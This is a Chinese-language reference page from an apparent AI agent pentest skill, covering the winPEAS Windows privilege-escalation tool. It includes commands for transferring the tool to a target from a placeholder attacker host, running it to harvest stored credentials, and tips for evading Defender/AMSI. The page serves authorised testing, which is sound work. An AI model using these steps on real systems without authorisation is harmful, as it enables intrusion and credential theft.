x-glacier/kali-pentest / kali-pentest-zh
kali-pentest-zh
Flagged通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。
references/post-exploitation/tools/winpeas.md
View on GitHub# winPEAS
- **Category**: Post-Exploitation / Privilege Escalation Enumeration
- **Risk Level**: 🟢 Low
---
## 描述
linpeas 的 Windows 对应工具,属于 PEASS-ng(Privilege Escalation Awesome Scripts Suite)项目。自动枚举 Windows 系统上的权限提升路径:AlwaysInstallElevated、未加引号的服务路径、弱服务/注册表权限、文件和注册表中的明文凭据、可利用的计划任务及未修补的 CVE。提供编译版 .exe、.bat(无需 .NET 依赖)和 PowerShell 三种版本。Linux 对应工具见 `linpeas.md`。
## 安装
```bash
# 下载最新版本(在 Kali 上执行)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o /tmp/winpeas.exe
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx86.exe -o /tmp/winpeas32.exe
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEAS.bat -o /tmp/winpeas.bat
# 通过 Python HTTP 服务器向目标传送文件
python3 -m http.server 8080
```
## 参数说明
### 关键输出解读
| 参数 | 说明 |
|------|------|
| 红色/品红色高亮 | 高置信度可利用权限提升路径 |
| 黄色 | 值得关注,需进一步分析 |
| 绿色 | 配置正确的安全项 |
| 蓝色 | 无 Shell 访问权限的用户及挂载设备 |
### 重点关注项
```text
systeminfo 操作系统版本、已安装补丁、环境变量
userinfo 当前用户权限、其他本地用户
processinfo 运行中的进程及其所有者
servicesinfo 服务二进制路径、未加引号路径、弱权限
applicationsinfo 已安装软件版本
networkinfo 网络连接、防火墙规则
windowscreds 凭据文件、注册表密码、WiFi 密码
browserinfo 浏览器存储的凭据
filesinfo 敏感文件、可写路径
eventsinfo 事件日志
```
## 常用命令
```powershell
# 下载到目标(PowerShell)
Invoke-WebRequest http://<kali-ip>:8080/winpeas.exe -OutFile C:\temp\winpeas.exe
# 运行全部检测项
.\winpeas.exe
# 运行指定检测类别
.\winpeas.exe userinfo servicesinfo windowscreds
# 保存输出到文件(自动去除颜色代码)
.\winpeas.exe | Out-File C:\temp\output.txt
# 32 位版本(用于 32 位目标系统)
.\winPEASx86.exe
# .bat 版本(无需 .NET 依赖,杀软检出率更低)
.\winPEAS.bat > C:\temp\output.txt
```
## 注意事项
1. 红色/品红色输出表示高置信度可利用路径——优先处理这些发现。
2. `.bat` 版本无需 .NET 依赖,杀软检出率更低——.exe 被拦截时改用此版本。
3. 在启用 Defender/AMSI 的现代 Windows 上,传输 winpeas 时可重命名或改用 bat 版本。
4. `servicesinfo` 和 `windowscreds` 产出率最高——时间有限时优先运行这两个类别。
5. Linux 对应工具见 `linpeas.md`。
---
## 官方参考
- [PEASS-ng(GitHub)](https://github.com/peass-ng/PEASS-ng)
- [winPEAS(GitHub)](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |